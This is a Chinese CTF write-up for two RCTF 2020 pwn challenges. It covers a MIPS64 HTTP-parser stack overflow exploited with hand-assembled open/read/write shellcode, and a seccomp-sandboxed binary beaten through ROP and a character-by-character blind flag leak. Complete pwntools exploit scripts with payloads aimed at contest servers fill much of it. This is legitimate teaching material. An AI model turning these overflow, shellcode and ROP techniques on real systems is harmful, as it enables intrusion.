CTF Re&&PwnCTF-PWN

RCTF 2020 mginx && no_write

2020-06-01  本文已影响0人  Kirin_say

都快忘记自己的Blog了
被迫做学校各种傻傻滴作业,第一天下午和最后一天凌晨抽时间看了两个题,不是很难,思路上都比较简单(没有看其他题目,不过这两个题卡在远程的时间比做题的时间都长,论sleep和recv的重要性)

0x01 mgnix

一血,Happy

$ checksec ./mginx 
[!] Did not find any GOT entries
[*] '/home/kirin/xctf/mnigx/mginx'
    Arch:     mips64-64-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x120000000)
    RWX:      Has RWX segments

mips pwn
是自己实现的一个简单的HTTP解析程序
程序在根据Content-Length计算第二次需要read的数据长度时存在逻辑问题,并且直接从第一次read的HTTP头结尾开始read,从而可以造成栈溢出:

.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate
.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"
.text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) # haystack
.text:0000000120001B0C dla $v0, strstr # Load 64-bit address
.text:0000000120001B10 move $t9, $v0
.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register
.text:0000000120001B18 nop
.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero
.text:0000000120001B28 nop
.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned
.text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) # Store Doubleword
.text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned
.text:0000000120001B50 sll $v0, 0 # Shift Left Logical
.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001B58 move $v1, $v0
.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) # Load Word
.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned
.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001B74 sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001B78 b loc_120001BD0 # Branch Always
.text:0000000120001B7C nop
.text:0000000120001B80 # ---------------------------------------------------------------------------
.text:0000000120001B80
.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0↓j
.text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001B84 move $a2, $v0 # nbytes
.text:0000000120001B88 ld $a1, 0x10C0+buf($fp) # buf
.text:0000000120001B8C move $a0, $zero # fd
.text:0000000120001B90 dla $v0, read # Load 64-bit address
.text:0000000120001B94 move $t9, $v0
.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register
.text:0000000120001B9C nop
.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) # Store Word
.text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero
.text:0000000120001BAC nop
.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) # Load Doubleword
.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001BD0
.text:0000000120001BD0 loc_120001BD0: # CODE XREF: main+444↑j
.text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero
.text:0000000120001BD8 nop
.text:0000000120001BDC b loc_120001BE8 # Branch Always
.text:0000000120001BE0 nop

类似这样的payload就可以:

"GET /flag \r\n
Connection: keep-alie\r\n
Content-Length: 1000\r\n
\r\n
"a"*0x9b0

栈溢出后程序没有开启NX保护,但是mips没有类似jmp rsp的操作
考虑先迁移栈到data段,而后再次栈溢出即可(迁移时注意为了防止crash,直接从main函数第一次read时复用即可)
(这里orw的shellcode,赛时没找到合适的as,为了赶时间,直接对照题目的elf文件中汇编到机器码的规则,以及题目uclibc中特定函数的syscall参数,人工翻译出来的orz)

from pwn import *
import sys
context.log_level="debug"
context.endian="big"
if len(sys.argv)==1:
   p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])
   time.sleep(3)
elif len(sys.argv)==2:
   p=process(["qemu-mips64","-L","./","./mginx"])  
else:
  p=remote("124.156.129.96",8888)


payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1
#payload1=payload1.ljust(0x1000,"a")
p.send(payload1)
ra=0x1200018C4
fp=0x120012540
gp=0x12001a250
payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8
payload=payload.ljust(0xd98,"b")
p.sendline(payload)
#p.interactive()
p.recvuntil("404 Not Found :(")
#time.sleep(2)


p.sendline(payload1)
ra=0x120013608
#open
shellcode="\xc8\xff\xa4\x67"[::-1]
shellcode+="\xff\xff\x05\x28"[::-1]
shellcode+="\xff\xff\x06\x28"[::-1]
shellcode+="\x8a\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#read
shellcode+="\x00\x40\x20\x25"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x88\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#write
shellcode+="\x24\x04\x00\x01"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x89\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
f="/flag"
payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))
p.sendline(payload)
p.sendline()
p.interactive()

0x02 no write

$ checksec ./no_write 
[*] '/home/kirin/xctf/no_write/no_write'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序用prctl开启了沙箱,沙箱规则:

$ seccomp-tools  dump ./no_write 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

只能进行open read 和exit
因为没有leak,所以首先要做的就是栈迁移,直接通过连续复用leave ret语句即可
因为这里没有syscall,所以想办法在栈中留下一个syscall
观察发现迁移栈后rcx=libc中read地址附近一个地址:

.text:000000000011007F syscall ; LINUX - sys_read
.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000110087 ja short loc_1100E0
.text:0000000000110089 rep retn
.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j
.text:0000000000110090 push r12
.text:0000000000110092 push rbp
.text:0000000000110093 mov r12, rdx
.text:0000000000110096 push rbx
.text:0000000000110097 mov rbp, rsi
.text:000000000011009A mov ebx, edi
.text:000000000011009C sub rsp, 10h
.text:00000000001100A0 call sub_1306E0
.text:00000000001100A5 mov rdx, r12 ; count
.text:00000000001100A8 mov r8d, eax
.text:00000000001100AB mov rsi, rbp ; buf
.text:00000000001100AE mov edi, ebx ; fd
.text:00000000001100B0 xor eax, eax
.text:00000000001100B2 syscall

偏移:0x110081位置
附近恰好有几个syscall,所以想到直接利用调用start中的libc_start_main来在栈中构造syscall地址,并且利用read的返回值来设置rax,就可以执行open syscall
简单说明一下:libc_start_main逻辑:在重新执行0x110081位置后,会直接ret入libc_start_main指定的"main函数"地址,这时候rbp=rcx,push入栈
在栈中留下一个syscall附近地址后(read附近的syscall可以直接顺利走到ret,没有crash,方便了后续利用),只需要多次写,构造一条rop链,并修改地址低字节,通过read返回值设置好rax后跳入rop链,就可以实现open("./flag");read(fd,flag_addr,len);
flag读入后,因为没有输出,所以要选择一条已知地址的cmp语句来实现判断,一一看过之后最后选择:

.text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750                 mov     rdx, r15
.text:0000000000400753                 mov     rsi, r14
.text:0000000000400756                 mov     edi, r13d
.text:0000000000400759                 call    qword ptr [r12+rbx*8]
.text:000000000040075D                 add     rbx, 1
.text:0000000000400761                 cmp     rbp, rbx
.text:0000000000400764                 jnz     short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766                 add     rsp, 8
.text:000000000040076A                 pop     rbx
.text:000000000040076B                 pop     rbp
.text:000000000040076C                 pop     r12
.text:000000000040076E                 pop     r13
.text:0000000000400770                 pop     r14
.text:0000000000400772                 pop     r15
.text:0000000000400774                 retn

只需让flag放在合适位置,在调用.text:0000000000400766时候就可以让flag其中一位pop入寄存器,而后再ret入0x400761这个位置,两个思路:

赛时赶时间没写好完全的多线程脚本,通过修改current值(flag字符的index),一位一位爆破即可:

from pwn import *
import time
#RCTF{C0mpare_f1ag_0ne_bY_oNe}
#context.log_level="debug"
#p=process("./no_write")
current=27
for i in range(110,127):
    print i
    try:
        p=remote("129.211.134.166",6000)
        payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)
        time.sleep(0.5)
        p.send(payload1)
        payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544)
        time.sleep(0.5)
        p.send(payload2)
        payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)
        time.sleep(0.5)
        p.send(payload3)
        payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)
        payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)
        payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)
        payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)
        payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"
        f_addr=0x601f28
        rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"
        time.sleep(0.5)
        p.send(payload4)
        time.sleep(0.5)
        p.send(rop)
        time.sleep(0.5)
        p.send("aa")
        payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)
        payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)
        payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13
        payload5+=p64(0x40076d)+p64(0x601e28)
        time.sleep(0.5)
        p.send(payload5)
        r12=0
        bp=i
        payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)
        payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)
        time.sleep(0.5)
        p.send(payload6)
        #gdb.attach(p)
        time.sleep(0.5)
        p.send(p64(0x40076A))
        print current,"    ",chr(i)
        p.recvall()
    except:
        print "fail"
上一篇 下一篇

猜你喜欢

热点阅读